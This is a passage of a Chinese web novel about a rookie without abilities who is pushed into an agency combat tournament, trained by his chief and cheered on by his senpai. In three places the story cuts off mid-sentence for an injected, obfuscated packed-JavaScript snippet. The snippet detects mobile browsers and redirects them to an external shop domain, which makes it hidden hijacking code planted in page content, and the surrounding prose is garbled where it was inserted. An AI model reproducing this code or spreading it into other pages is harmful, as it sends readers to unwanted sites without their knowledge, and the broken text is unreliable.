“蛤?”相越似是也没想到现代还有都市人会不懂使用手机,更别说没有手机了。就连自己这个从乡下来的小子也会。甚至他的村子都已经通上网,村里的老人都学会使用手机了。所以他大吃一惊,呆愣住了。 “前辈,那地井呢?”眼见副局陷入癫狂状态,他又问在自己身后的今长谷。 在两人提起新宫时,今长谷就恢复过来,早就拿起手机与对方交谈起来,她皱着眉把屏幕的内容给两人看: “地井:非常抱歉,大小姐还在收拾东西。 今长谷:那大概还有多久? 地井:初步估计,还有两个小时。 地井:你们先出发吧,迟到就不好了。请把地址告诉我,我和大小姐稍后就到。” “……”相越无语了,地井果然是劳碌命,这样都能忍。 心里在想这些的时候,却忘了自己比他更甚。 “这里的人真是一个个都很任性妄为。”副局看过后,就吐槽道。随后一巴掌敲到正在昏昏欲睡的局长背上。局长立马就跳了起来,眼见众人:“人齐了?那出发吧。” 按道理说,局长刚才一直在打瞌睡,不知道新宫为什么不在这里,他应该会问才对。但他直接就喊出发了,相越有些疑惑,但还是跟着局长走了。只是边走,边悄声地问今长谷:“局长为什么不问新宫桑为什么不在这里?” “……可能是猜到了,也可能是没留意到吧。”今长谷有些呆滞,模仿相越也细声回答道。 “前辈觉得是哪个?” “……他可能只是没留意到吧。”今长谷无语。 “也就是说,前辈觉得局长是懒得细想,想着随便吧。”相越确认道。 “……是的。” “……好吧。”相越总觉得不是因为这个原因,以他对局长的了解,他可能是有什么考量?不过他想不透,最后忖量一会儿后,还是无奈接受了这个原因。 两人继续跟着局长走,上了总部派来的小巴后,坐在一起,一路无言。 大概五个小时后,小巴才总算停下来,停在一栋宏伟的建筑前。相越认得这栋建筑,大学时他曾参观过,是契约者管理科的总部。 两人跟随局长进入建筑,局长一进去就放下两人,去办事。 两人并肩在建筑里走着,一路上都能看到有人在对着两人窃窃私语,不断地被注视。但看到今长谷时,却眼神躲闪,生怕有眼神接触。联想到其他人曾提到的战绩,还有自己在电视、电脑上看到的比赛。 回忆起来,就满心激动,那时候的今长谷没有使用任何能力,仅靠体术,还有破解对方的能力,便打倒了对方。 阳光下的今长谷闪闪发亮,让人移不开眼睛,无论是谁都会被她夺走视线。并不是因为出众的外表,而是在那样干净利落的、没有多余的动作下,眼睛为了捕捉她的一举一动,根本分不出其他的注意力。 场外的人已然如此,何况是场内的人,她的对手? 只能被夺走所有心神,成为今长谷的手下败将。如此巨大的实力差距,理所当然地,他们不敢对付她,但又心怀不忿,只能转而对付自己这个新人。 这也是当然,契约者比起非能力者强在这个社会上是如同常识般的事。然而,在全是契约者的契约者管理科出现了新宫市这样有非能力者员工的奇葩,里面的非能力者员工还频频在向公众直播的赛事中出头,让代表契约者的他们在大众面前丢尽脸面,会被不爽也是很正常的。 事实上,因为新宫市这几年在战力大赛的胜利,在社会上引起了不少的波澜,加剧了非能力者和契约者的对立。这种斗争连居住在乡下的相越也有所耳闻,可想而知多么严重。 不过这一切和相越无关,不论今长谷是否契约者,相越也觉得无所谓,只要她是今长谷,那她就是相越这一生最重要的人。 “没事吧?”一旁的今长谷自然也观察到相越的异状,她担忧地问道。 “我没事,可能是因为我太帅了吧。”相越回过神来,咧开嘴开玩笑。 “蛤?”今长谷还是第一次看到相越在自己眼前自夸,她惊讶地瞪大了眼睛,转过脸认真地注视相越。 本来就因为在今长谷面前自吹自擂有点难为情的相越,脸上被盯得耳廓有点红:“难道不帅吗?” 平心而论,相越确实是个长相俊朗的阳光型帅哥,只是局里的人都长得各有特色,以至于他这个普通的帅哥显得有些平庸了。 再加上他们性格个个都是奇葩,没人对他的长相感兴趣。别说在意他了,甚至有时候还会被人忽视,比如刚才。 今长谷闭上了眼,没有直视,点了点头:“确实帅。” “真的吗?”相越眼睛一亮,他对自己的长相是有自信的,但相比今长谷来说还是略有逊色,所以有点自卑。没想到今长谷竟然承认自己是个帅哥了。 “是的,抱歉我先去洗手间了。”今长谷脸色发红逃跑了。 “哈哈哈……”被今长谷称赞,相越笑得极度猖狂。只是笑着,就忘记了来自四周的视线。 直到相越停止了狂笑时,他就再次感觉到四周的视线。他明白这绝不是因为自己太过帅气,因为里面是带着恶意的。虽说本来也不在意,但终究是有点不适。 一直相安无事,直到几个长得凶神恶煞、穿着制服的人走过来。不只是长相带有攻击性,眼神更是凶恶,似乎想把自己给宰了。 这几个人似乎从刚才开始就一直盯着他看。 在这一个月里,相越早就见识过比这更强大的杀气了,虽说不是向着自己而是犯人,但也具有威慑力。因此他丝毫不慌,先一步询问对方:“请问有什么事吗?” 似是没想到相越丝毫不惧,还很淡定自若,其中一个小弟嚣张地问:“喂,你小子就是新宫市契约者管理科的新人吗?” “是的。” “看上去没什么了不起的嘛。”另一个小弟鄙视地说。 这场景怎么有点眼熟。对了,好像新宫大小姐第一眼见到自己,也是这个反应。难道自己真的很柔弱吗?他有点疑惑,又忍不住对这个似曾相识的场景笑出声来。 “笑什么?”领头的大汉恶狠狠地向相越投来几发眼刀。 可是相越只是笑得更猖狂、更大声了:“没什么,只是想起了开心的事。” “你这小子,又在笑老子吗?”领头的大汉摩拳擦掌,似乎下一刻相越还笑的话,就一拳揍到相越那俊朗的脸上。 相越确实止住了笑容,但却是一副看好戏的神情:“所以请问有什么事吗?会议应该快到时间了吧?” 听到这话,几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496107|202510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个大汉瑟缩了起来,连忙劝领头的大汉:“老大,快迟到了,不妙呀。” 大汉只是把几人的手推回去,他也有退缩之意,退后了几步,似乎随时都能跑路。但还是假装凶狠地道:“你这小子还是无能力者对吧?” “还?”相越留意到对方话中的奇怪之处,有点疑惑,似乎是想问他怎么还没有成为契约者。 但还是把他抛开,他不想管这些琐事,只想快点结束,和今长谷会合。 再加上相越早就猜到这几人是纸老虎,从进来到现在都过了多久了,现在才来打招呼。更不用说,那孱弱的杀气和后续那装腔作势的行为就能看出来,只要拖到会议快开始,对方自然就会离开了。 他平静回道:“是的。” “这次战力大赛会出场吗?”对方又问。 虽说今长谷和局长都百般推辞,但怎么都不会轮到自己吧,他只是一个普通人。他语气肯定道:“不会。” “哈哈哈,这小子害怕了!”“看来是不敢出场,怕被我们几个打得落花流水吧!”“真是个胆小鬼,哈哈哈……”几人猖狂地笑着,笑得比刚才的相越还大声。 闻言,相越不满地皱起了眉头,并不是因为自己被嘲笑,而是因为自己笑得竟然比他们小声。 对他来说,自己比起今长谷弱那是理所当然的事。比其他人强或弱,根本无所谓。今长谷一向是完美的天才,自己只要能够为她带来情绪价值,她还需要自己待在身边,那就可以了。自己根本就不可能在大事上帮到今长谷的忙,不给她添麻烦就很好了。 这次战力大赛也是,他根本不想出场,只想看到今长谷活跃的身姿,自己能够在台下仰望着就可以了。这些人的嘲笑根本毫无意义,对他没有任何作用。 所以等他们笑完离开,领头的大汉特意恶狠狠地留下一句:“你这小子给我等着,等战力大赛收拾你!” 相越心里完全没有一丝波澜,只有麻烦终于离开了的解脱,还有吐槽:我都说了不参加战力大赛,怎么收拾我? 更没有把他们的话放在心上,不然的话在听到他们的话后,以相越灵活的脑袋,早就会觉得不对劲了。 过了一会儿,今长谷终于从洗手间离开,她匆匆跑到相越面前:“没事吧?” “没什么事,不过刚才几个大汉跑来问我会不会出场,我说不会。前辈真的不想出场吗?”相越特意把人改成大汉,并加重了说话的力道。 果然,今长谷的脸色瞬间白了,把重点放在前面的话上:“真的没事吗?你可能是被盯上了,哎……” “哈哈哈……再怎么说,也不会在总部搞事吧?”相越毫不在意那些人。就算真的一群人来了,他也不害怕。就那种货色,不使用能力的话,他一拳就把他们揍趴下了。不然在注重实力的大学,他早就被人欺负了。 但眼前的今长谷的脸色更白了:“那些人才不会管这些。你记得不要一个人外出。如果想出去,记得和我说。” 相越一愣,他没想到直酱会因为工作以外的事担心自己,看来真的拉近了距离。 被直酱担心的感觉真好,虽然完全没有担心的必要,但又有拉近距离的机会,这份好意相越当然要接下:“好的,谢谢前辈关心。” “一定要记住哦。”今长谷还是不太放心,她又重复叮嘱一次。 相越又点点头。 今长谷鼓起了嘴巴,似乎对他这种敷衍的态度有点不满。不过为了保持工作的状态,这种可爱的模样只出现了一瞬,就消失无踪。 对此,相越只是全程没闭眼,眼睛一刻不离今长谷,把这段记录深刻铭记在自己的脑袋里。 眼看相越眼睛快要瞪出来,今长谷一手刀敲到相越背上:“走吧,新人。” “好!”相越满脸笑容地回应。 话落,两人再次沉默,并肩走回原来的地方,和局长集合到会议室开会。 13. 竞技大会(三) 几人坐下不久,领导就开始谈话:“女神在上,我们终于聚集在一起,真是个喜庆的日子……” 伴随着熟悉的开场白,领导开始不停讲着又臭又长的废话,相越听得眼睛一睁一闭,眼看旁边的局长已经睡着,他也想顺从睡意,直接倒下。但另外一边的今长谷却是精神奕奕直着腰,维持端正的坐姿,双眼一直盯住领导,全神贯注地聆听领导的话。 这都让相越不好意思睡着了,平时他都是第一个睡着的那个,虽然两人知根知底,但如今在今长谷面前,他想保持良好印象,实在没脸做这样的事情。 在相越恍惚的时候,今长谷拍了拍他的肩膀:“怎么了?” “没事。”相越回过神假装清醒,盯着前面。 “你看看那边。”今长谷的视线依旧没离开领导,但直指一群早已倒下的人,他们是总部的员工。 “这是?”相越疑惑地问道。 “你看连总部的人都睡着了,你也不用管那些规矩。请睡吧。”今长谷意识到相越的难堪,体贴地表示。 相越也想领今长谷的好意,但她真的不困吗? 虽然一直以来这种集会,今长谷每次都很认真,但他每次都不觉得她会不困。只是因为觉得这是应该做的,才会硬撑着。 你看,这不她的肩膀正僵硬着吗? “前辈不睡吗?”他再次询问。 “不了。接下来应该会有一场好戏,我要做好准备。”今长谷单手撑着下巴,似乎也是累得不行的样子,刚才清醒的样子只是她的演技,却为了口中重要的事情硬撑着。 眼看今长谷不再伪装,但仍铁了心要继续醒着,相越只能独自闭上了眼睛。 过了一段时间,相越被一只小手轻轻地拍醒了,他一醒来就看到黑色的碎发,还有纤弱的脖颈,仿佛一折就碎。 眼前的小脸比平时的尺寸放大了好几倍,连脸上透明的细毛都能清晰地看到。相越意识到自己这是整个人挨到今长谷身上了,明明她的肩膀还硬着。 他把头连忙从肩膀上拿起来,耳朵有点发热:“对不起,前辈。” “不要紧。比起这个,要开始说竞技大会的事情了。”今长谷放下撑着下巴的手,把头往后靠了靠,眼底闪烁着好战的光芒。 看到今长谷的姿势,还有伸展的动作,相越立马反应过来,刚才今长谷为了照顾自己,一直持续维持这个动作,所以本就僵硬的身体更僵了。 相越有点惭愧地摸了摸鼻子,把手放在了今长谷的肩膀上。感觉到有人把手放在自己肩膀上,今长谷转过头,疑惑地看着他。他摇了摇头,表示前辈继续听就好,他帮她舒缓一下肩膀。 话落,相越就捏了起来。刚捏,今长谷的身体立刻就紧绷了起来,但还是忍不住轻轻“啊”了一声。 正值宣布关键信息的时候,众人醒了过来。听到诡异的声音,便纷纷看向源头。 “你们在干什么呀?”局长打着呵欠,看向两人。 “没什么。”今长谷佯装淡定地回道。但脸上的红色暴露了自己。 今长谷又羞又恼地瞪了相越一眼,随后继续看向前方。 看到今长谷如此可爱的模样,相越更没心思去听竞技大会的事情了,只想继续帮她按摩。更何况他心里觉得这不关自己的事,就算真的要上场,也只有一些普通的体育项目,战力大赛自己只需要在台下欣赏今长谷的英姿罢了。 但没想到,领导第一句话就惊掉了在场所有人的下巴:“今年的竞技大会战力大赛,以往参加过的选手不允许参加。在会议结束之前,各个部门都需要递交名单。” 原本还心不在焉的相越,听到这话立马坐不住了。环顾四周,新宫迟迟没来,在场只有自己没有参加过战力大赛了。 同时总部员工那边投来了几道看笑话的眼神,联想到刚才局长的事,还有被忽略掉的大汉的话。 那个大汉临走前说的话:“等战力大赛收拾你!” 原来他们早就知道。 相越立马想明白过来,也知道自己肯定会上场,他心里冷哼一声。 这是被算计了啊。 再看了一眼,局长还是眯着双眼,把大半个身子瘫在椅子上,悠闲自在。 相越憋着一口气,想着这是在直酱的面前,得忍住。 “没事吧?”这时旁边传来今长谷担忧的声音。 在其他人不怀好意的眼光中,只有今长谷在担忧自己,相越心中有了一股暖意。但更多的是羞愧。 这已经是今天第几次被今长谷问这句话了。相越实在是没办法不停去依赖今长谷的好意,现在两人只是普通的同事,如果是更亲密的关系,他肯定会直接说不太好了,但他不能。 “相越怎么说也是某名牌大学首席毕业的优秀新人。今长谷,别担心了。”局长继续打着呵欠,态度仍旧散漫。 打完呵欠,就直起身转过头对相越说:“你说的是吧?” 前半句还是很散漫的态度,但后面却带上了点不容置疑。平时散漫的局长突然认真起来,有点可怕,似乎只要说出一个不字,他就会做出什么意想不到的事情。 虽然相越并不害怕局长,但正当他想反抗时眼皮跳了跳,有不好的预感。 再加上联想到今早的事情,这人的实力似乎也不差,他只能扯出一个苦笑,无奈答应:“我没事,谢谢前辈关心。我会出场的。请在台下为我加油打气。” 看到相越的答案,局长满意地笑了笑:“哈哈哈……新人加油哦。” 今长谷睁大了眼睛,并叹了口气:“好吧。想问一下有训练场吗?” “有的,你该不会是……”局长诧异。 “是的,还请局长协助我帮新人训练了。如果我没记错,战力大赛是在最后一天,也就是第三天对吧?”今长谷向局长拜托道。 “是的。好吧,也算是补偿了。”局长也有点心虚,无奈答应。 旁边的相越则是一脸不满,本来就被人算计着参加战力大赛,他就很不高兴了。 后来因为今长谷担忧自己,想为自己锻炼,这算是无意间增加了两人相处的机会,所以相越消气了。 但局长却突然横插一脚。 心情一下起伏跌宕,这份对局长的不满也就越发加深。 这份不满一直延续到训练的时候,直到局长和相越对练时才悄然不见。 局长拿着一把大刀,而相越则是赤手空拳应对。 与外表相反,对方的大刀并不笨重,相反十分灵活,轻松地像挥舞着轻盈的纸张,没到一秒就会向自己砍来,完全没有多余的动作,只有计算好的准备动作和行动轨迹。 自己明明身上什么都没有背负着,却只能堪堪躲过,稍不留神就会被大刀打到,根本没有心思在意其他。 而且眼前的人还会不停地挑衅自己:“就只有这种程度吗?” “这种程度还敢不满?” “回去再练几百年,你就有可能碰到我的脚趾头了?” 这下子,哪怕相越再不在意其他人,也不得不在意起来了。因为眼前的人并没有因为是对练而手下留情,每一下都是又快又狠,只要被打倒就算不是死也是重伤。 相越明白再这样躲闪下去,自己体力就会耗尽,没法反击。所以必须得瞄准他的空隙,也就是在进行准备动作的那刹那。他边躲闪着,边观察局长的动作,总算让他找到了一个瞬间。每次局长向自己攻击时,都需要长距离的蓄力,而不是普通的假动作和试探。 相越躲过一次试探,便看到局长长距离的蓄力,他马上用左手挡住局长的手肘,也就是握住大刀的右手,随后整个人走进局长手臂内,右手击打局长的腹部。 本应是这样的,局长一个踢击把相越踢开,巨大的冲击让相越后退了几步,在墙壁前堪堪停下来。 两人停下打斗,相越这才安下心来,仰起身子大口大口喘息着。 “合格了,这样面对那群契约者应该也有一战之力了。”局长打斗这么久也只在额头流了几滴汗,松垮的白色衬衫依旧维持原样,没有乱。他随手拿起水瓶扔给相越。 “蛤?”相越不敢置信,这就合格了? 眼前的人在对待自己时,完全没有认真。虽然他不太了解武术,但也知道以局长的力量和速度,根本不需要这么长距离的蓄力,甚至可能根本不需要。也就是说,其实那些试探和假动作,如果是实战那就是真的攻击了。再加上对练时动作单一,只是改变了方向和应用的规律,仅仅是他反应和直觉比较灵敏,所以才能躲过,其实他的眼睛要跟上局长的动作需要不少时间,所以才会拖这么长时间才找到局长的破绽。 “哈哈哈,我的意思是对那群弱鸡契约者,这样就够用了。对我们当然不够啊哈哈哈……”局长捧腹大笑。 相越一脸无语地看着眼前笑个不停的局长,同时今长谷又走过来,把毛巾递给相越擦汗:“辛苦了,新人。做的不错。” 相越瞬间喜笑颜开,接过毛巾擦了起来:“谢谢前辈。” 今长谷盯住相越脸红了一瞬,转过了头:“局长,你总结一下吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496108|202510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我去添水。” “又逃跑了。首先,新人你知道你为什么能躲开我的攻击吗?”局长叹气问道。 “局长的攻击比较简单?” “攻击当然简单了,我放水如放海了。除此之外,那你自己有什么做得比较好的地方?”面对相越的恭诚,局长只是更加严肃了。 “……我反应比较灵敏。”相越有点心虚,这似乎不是自己的实力,只是运气作祟。 局长一眼就看穿了相越的心里话:“运气和直觉也是一种实力,这确实是你在还没适应我的速度时,所仰靠的东西。但更多是你的观察力。” “……” “你之前多次突兀地说出奇怪的话,都是依靠这个东西的吧。这就是你最大的优点。只要你一直潜伏,趁他们不备之时,就能一击毙命。”局长不苟言笑,但却表达着对相越的认可。 一向厚脸皮的相越面对如此真挚的情感,一时之间有点难为情,他好像还是第一次被除了今长谷之外的别人用这样的态度对待。 同时今长谷捧着三四瓶水走进来,她一直在偷听两人的对话:“就如局长所说,面对契约者时,只要应对这个能力,一直拖着,待他们能量耗尽就能打败了。” “就好像打游戏,拖到对方没蓝?”相越想起了一个例子。 “虽然我很少玩游戏,但如果我没理解错的话,应该就是这样。还有一种情况就是找到对方能力的弱点并破解,就能打败了。还记得大嶋桑吗?”今长谷也举了一个例子。 “是的,我还记得。确实那时候前辈把大嶋桑的手斩落了。”相越点点头。 “咳咳……那是紧急情况。不过大概就是这样,大嶋桑那时候刚刚成为契约者,使用能力还不熟练,所以才需要打响指。只要斩断双手就能阻止能力发动。”今长谷解释道。 “不过不会激怒对方,反而让对方能发动能力吗?”相越就像一个认真的学生向老师提问。 “嗯……确实有这种可能,所以才是紧急情况。如果对方的实力比自己强,又实在是拖不下去,才会使用这种战法。这种时候,需要一击毙命。在这之中,就只有新人是无能力者,是不可预测的。换句话说,新人,你是一匹黑马。所以,请自信一点吧。”今长谷放下水瓶,递过一瓶给相越。 “谢谢前辈。” 相越再次点头,拿过水瓶,仔细思索起战力大赛的事。他一直都以为自己身为一个普通的无能力者,很有可能就是一轮游。没想到,局长,甚至是今长谷也对自己抱有那么高的期待,令他觉得自己一直以来的想法好像错了,自己说不定也能在这个大赛获得不错的成绩,不用坐在板凳上默默为其他人加油。 “真的吗,前辈,我真的有机会成为冠军吗?”这是至今为止,相越面对两人时最真诚的一次,以往心中可能都是毫不在乎或是心中都是算计着如何达成目标。这一刻,他只想着要如何取得胜利,不辜负两位前辈的指导和努力。 “当然,你是不相信自己吗?还是说局长?”今长谷反问道。 “蛤,那当然会相信我们的前辈,今长谷直生啊。”局长先一步回答今长谷。 “你在说什么啊,局长。”今长谷被局长所戏弄,非常不爽。但这一次她没有和局长辩论,而是掉过头,红着脸却坚定地说:“我相信相越和希会成为冠军。” 相越一愣,还在为了这句话呆滞时,就被今长谷这娇羞的表情萌到,心脏停了一瞬,点了点头,也有点羞涩,回答道:“我知道了,谢谢局长和前辈。” 停顿了一瞬,深呼吸:“不只是这两天,以后也可以指导我吗?” 两人有些诧异。 “好的。”今长谷莞尔一笑,点头。 “好啊,就把你小子操得叫苦连天吧。”局长一把揽住相越的肩,拍拍对方。 “那种事情不要啊!”相越尖叫着。但脸上却没有丝毫的不喜和不接受,只有要精进自己的决意,还有豁然开朗的笑容。 就这样,训练场大半个夜晚都被相越的叹气和哀嚎声所充斥。 直到三人从训练场离开,今长谷回到房间就见到刚刚搬进房间、正在收拾行李的地井和新宫两人。准确来说,只有地井在收拾,新宫则是吃着夜宵等待。 一见到今长谷,新宫就抛下夜宵询问竞技大会的事情。听说新的规矩和相越成为代表后,新宫嘶吼几声,才软软地趴在今长谷床上,无奈地接受了这个事实。 两人吃过夜宵,消了食,就沉沉睡去了。 翌日,就是竞技大会的第一日。 14. 竞技大会(四) 第一天和第二天都是普通的运动项目,新宫市契约者管理科在大部分的项目中都大获全胜。正如局长所说,其他地区的工作人员大多仰靠强大的能力,身体能力和新宫市的众人相比都是弱鸡。偶尔出现几个身体强壮的,也还是不及今长谷,最后被击败。 几个没有夺得冠军的项目,一是因为新宫市根本没人参加。二是因为局长有言:“如果全部的项目我们都赢了,那岂不是很显眼?” 但众人合理怀疑,其实是局长给自己找借口不参加运动项目,好在观众席上睡觉。实际上也是如此。 而相越则是只参加了几个项目作为热身,把精力都留在最后一天的战力大赛上。地井则是忙着照顾大小姐,根本没参加任何项目,也没人指望孱弱的他参加。所以男子组的几个项目根本没人参加。 因此,到了最后一天。新宫市众人登场时,遍地都是嘘声。所有人都宁愿新宫市的众人参加所有的项目夺得冠军,而不是故意不参加,施舍般给自己几个冠军。 面对众人的愤怒,今长谷未免有点担心即将上场的相越,她转过头看向身旁的相越。相越注视着前方,翻了个白眼,捏了捏拳头,跃跃欲试,对扑面而来的压力丝毫不恐惧。 对此,她松了一口气,看来自己只是想太多了。 察觉到今长谷的视线,相越也回过头,拍了拍今长谷的肩膀,示意她不用担心。 今长谷没想到自己会被反过来关心,她还是有点担心,随之点了点头,踮起脚小声在相越耳旁悄声说:“请加油,我会在观众席为你加油的。和……不,新人桑。” 她放下脚,轻轻地笑了。 耳边隐约感觉到说话时传来的热气和声音,撩拨着相越的神经。随后,直酱不经意间脱口而出,说出一半的幼时昵称。后面虽改成新人桑了,但配合上今长谷有点羞涩、甜美的声音,和最后的绝杀笑容,相越忽的觉得“新人”这个名字也不是那么差了。 不如说在直酱说出来的那一刻,就给这两个字赋予了特殊的意义。以后如果还有新人,他绝不允许直酱这样喊他。这只能是属于自己的称呼。任何人都不能夺走! 这样想着,相越更不允许自己在这场赛事中败北了。以后若是有新人,他一定会把这件事拿出来当做炫耀的谈资,让他因为实力差不敢接近直酱。 看着相越斗志满满的样子,今长谷的笑意更深了。而在两人旁边看到全过程的新宫,则是越发鄙夷相越,拉住一旁的地井,担忧地道:“这两人没事吧?” 地井收回视线,落到新宫身上:“大概没有问题。他很有斗志。” 正如地井和局长所言,头几场的战斗完全没有问题,他仔细观察对方的行动,找出对方的能力以及破绽,待到能量耗尽时便一击击破。如果没有成功就再次等待机会,再次尝试。 只是到后面,其他人察觉到相越的行动模式,开始和相越斗殴,尝试在力量和拳击技巧上压倒相越。 要不是技不如人,被相越在学校锻炼出来的打架经验压倒而击败,就是体质的差距,被压倒性的力量所击败。这也让相越从新宫市那群奇葩中找回自信,原来不是自己太菜,而是其他人太强了。 当对手在最后一刻试图挣扎一下,使用能力时,多会因短暂的呆愣被相越所察觉,抓住这短暂的空隙使用从今长谷那偷学的手刀打晕。对手失去战斗能力,便被宣告为失败。 得意招数被偷,今长谷并不恼怒,而是更欣慰了。 只是很不合时宜地,局长吐出了一句调侃:“担心啥呀这是。你看这小子不是挺强的吗?” “咕……确实是呢。” 今长谷如受重击,回想到之前发生的事情,就不禁脸上一热,为自己感到羞愧。是的,她从一开始就知道相越绝不是什么要被人保护的弱小生物,相反他很强大,耀眼得让人想跟随他。从小时候开始他就是人群的中心,和总是独自一人的自己不一样。 看着在台上大放异彩的相越,她本应为其感到高兴,希望他接下来的比赛也能够一直胜利。但此时此刻,她的心中却难以平静,低下了头,又开始了止不住的担忧。 事情真的如她所想这么顺利吗?假设相越真的获得冠军,站在台上崭露头角。那他定会受到来自所有人的赞扬和喜爱。 到那时相越会有什么反应? 尝过被人众人赞美的滋味后,继而想获得更多人的关注,最后把自己这个总是拉开距离、刻薄毒舌的人忘掉了? 一想到这个可能性,今长谷无来由地恐慌。这时今长谷才明白,原来她并不是因为担心相越,才说要保护他。只是因为知道自己是一个加害者,不能够站在他的身边,才想找到足以说服自己、可以心无忌惮地站在他身边的原因。因为想被他所需要,才给自己制造了这么多的借口。 想到这里,熟悉的呕吐感涌上心头,有立马奔到洗手间自虐的冲动。 这时,台上传来一道视线,是即将上场的相越。 今长谷她知道,相越为了这场比赛费了多少心血,绝不能因自己的失态让温柔的相越为自己担忧而失了状态。她咽了口口水,拍了拍自己的脸颊,为自己苍白的脸上增添一丝血色,摆出自认为最好的笑容,用口型对相越说:“我好像来内个了,先去一下洗手间。很快回来。加油~” 眼见相越安下心但又因为未知的领域有点担忧,今长谷才快步离开。 七年前的自己也还没有出现那种现象,所以他才会对此不熟悉。 在这七年间,恐怕相越也没出现需要这种知识的场合,才会没有拆穿自己。换句话说,他没和除自己以外的女生亲密接触过。这样想着,今长谷的占有欲得到些许满足。 但更多的是罪恶感和随之而来的呕吐感,谴责自己都意识到自己自私的心情了,还会因为这种事情而感到满足吗?实在是太过自私,为了自己,不断编造谎言,撒谎欺骗相越。 明明自己七年前与莱安签订契约后,便再也没有成长,也一直没有出现那种现象。只是为了保持脸面,就可以编造谎言,太可恶了。 今长谷的脸色越发苍白,冲进洗手间,又开始了呕吐。把现场收拾好,才走出来,便见到在走廊等待自己的局长。 “新人似乎陷入麻烦了,可能要输了。” “怎么可能?”离开一段时间就发生这样的事情。她不可置信,急速走向观众席,在第一排旁边的楼梯上站着,全神贯注地看着赛事。 对手正是会议前带着小弟挑衅相越的大汉,名为杉原英雄。 乍看之下,杉原没有使用任何能力,只是和相越互殴着。但他那拙劣的战斗技巧和异于常人的力量、速度都说明了一件事:那副强大的身躯,就是他的能力,简单粗暴。 在如此简单的能力下,相越被直接的攻击打得不断躲避,连连后退。 除了失去战斗能力以外,过界也会被视为败北。眼看相越靠近边线,场上欢呼声四起,为杉原加油打气,争取快点打败相越,让他露出屈辱的表情。 今长谷强大的视力清晰可见相越脸上的汗珠,那并不是因体力不够,而是压力……导致的冷汗。人类始终是群居生物,哪怕再特立独行,也会受到影响。 刚才从局长口中听到相越败北的消息时,纵然有因为自己还能被对方所需要而感到一丝高兴,在看到这幅场面时也全都抛开了。今长谷现在满眼都是对相越的担忧,害怕他会因如此巨大的压力一蹶不振。她深吸一口气,准备以一个人的声音对抗整个运动场。 这时从旁边被人敲了敲,局长摇了摇头,环顾四周的几人,也深吸一口气:“相越和希,加油!” 地井不知从哪掏出了几个大喇叭和音响,声势浩大,一同齐声叫喊:“相越和希加油!” 加油声一度盖过在场的所有人。众人不服气又加大了声量。地井只是默默地按下几个按钮,加油声又再次盖过对方,他露出与大小姐如出一辙的鄙夷神情:“现在是现代了,还用人声叫喊。浪费体力,愚蠢。” 岂不知地井鄙夷的对象还包括了他亲爱的大小姐,新宫放下喇叭锤了地井一下,就把喇叭递给今长谷:“还愣着干什么?快喊啊!他对你来说不是很重要吗?” 今长谷茫然地接过喇叭,与众人对视,又看了一眼相越。相越正专注于赛事没有与自己对视。之前再忙碌,他也会回应自己。但现在完全察觉不到,可见他的情况就是如此的窘迫吧。 自己站在场外,无法实打实地帮助他,能给他力量就只有自己手中这小小一个的喇叭。 今长谷再次深吸一口气,为自己鼓起勇气。并把气息放到后腰上,再从外用力向后压维持力量,发出了自己有史以来最大的音量:“和君,加油!” 在新宫市的众人为相越加油时,相越仍在专心致志地用直觉躲避对方被能力加强过的快速攻击。 他知道,自己如果被打到就会被打飞出场吧。而如果躲避到错误的地方,就有可能一不小心就出界了。所以理应来说,外面嘈杂的声音只会令他分神从而失去专注输掉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496109|202510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但他还是能够分辨出新宫市众人为自己加油打气的声音,还有混在里面的微弱叫喊,是自己一直以来魂牵梦绕的称呼。 七年间无数次希望她能再喊自己一次,每次都戛然而止。 隔了七年,这是她重逢以来,第一次完整地把这个昵称喊出来了。 果然“新人”什么的才不是他想要的,“和君”和“直酱”才是属于他俩人之间最好的称呼。同时也给了他勇气去孤注一掷,尝试他为了稳妥不敢做的进攻。 一直以来,相越都根据局长的指示,采取防守的态度面对对手,不会主动攻击,除非找到破绽。和局长不一样,杉原每次攻击都会有一定的预备动作,时间虽被压缩,但还是有不必要的动作,如同一个孩子用着他不会用的力量胡乱攻击,浑身都是破绽。他只是一时被对方的力量威慑住而已。其实根本没什么可怕的,不是吗? 相越回想起,一开始见到杉原时,自己曾被对方鄙视。虽说那时并不在意,但现在明白过来,自己确实比对方弱小。 就算如此,这也并不是自己被鄙视的理由。现在就是他回敬对方的时候了! 而且今长谷对他说加油了,那无论如何他都得获得胜利,哪怕用多么不要脸的手段也好。 相越随意找到一处破绽后,就径直冲向前,把全身的力气再配合重力的力量,击向对方□□某处,被称为男性弱点的地方。 在尊崇契约者的契约者管理科中,众人都是使用能力博弈。这届画风虽然被某个新人带偏成拳击大会,但始终还是技巧间的博弈。 所以当相越袭击杉原那处时,全场静谧。所有人都目瞪口呆,没想到会有人在竞技大会上做出这等不要脸之事。 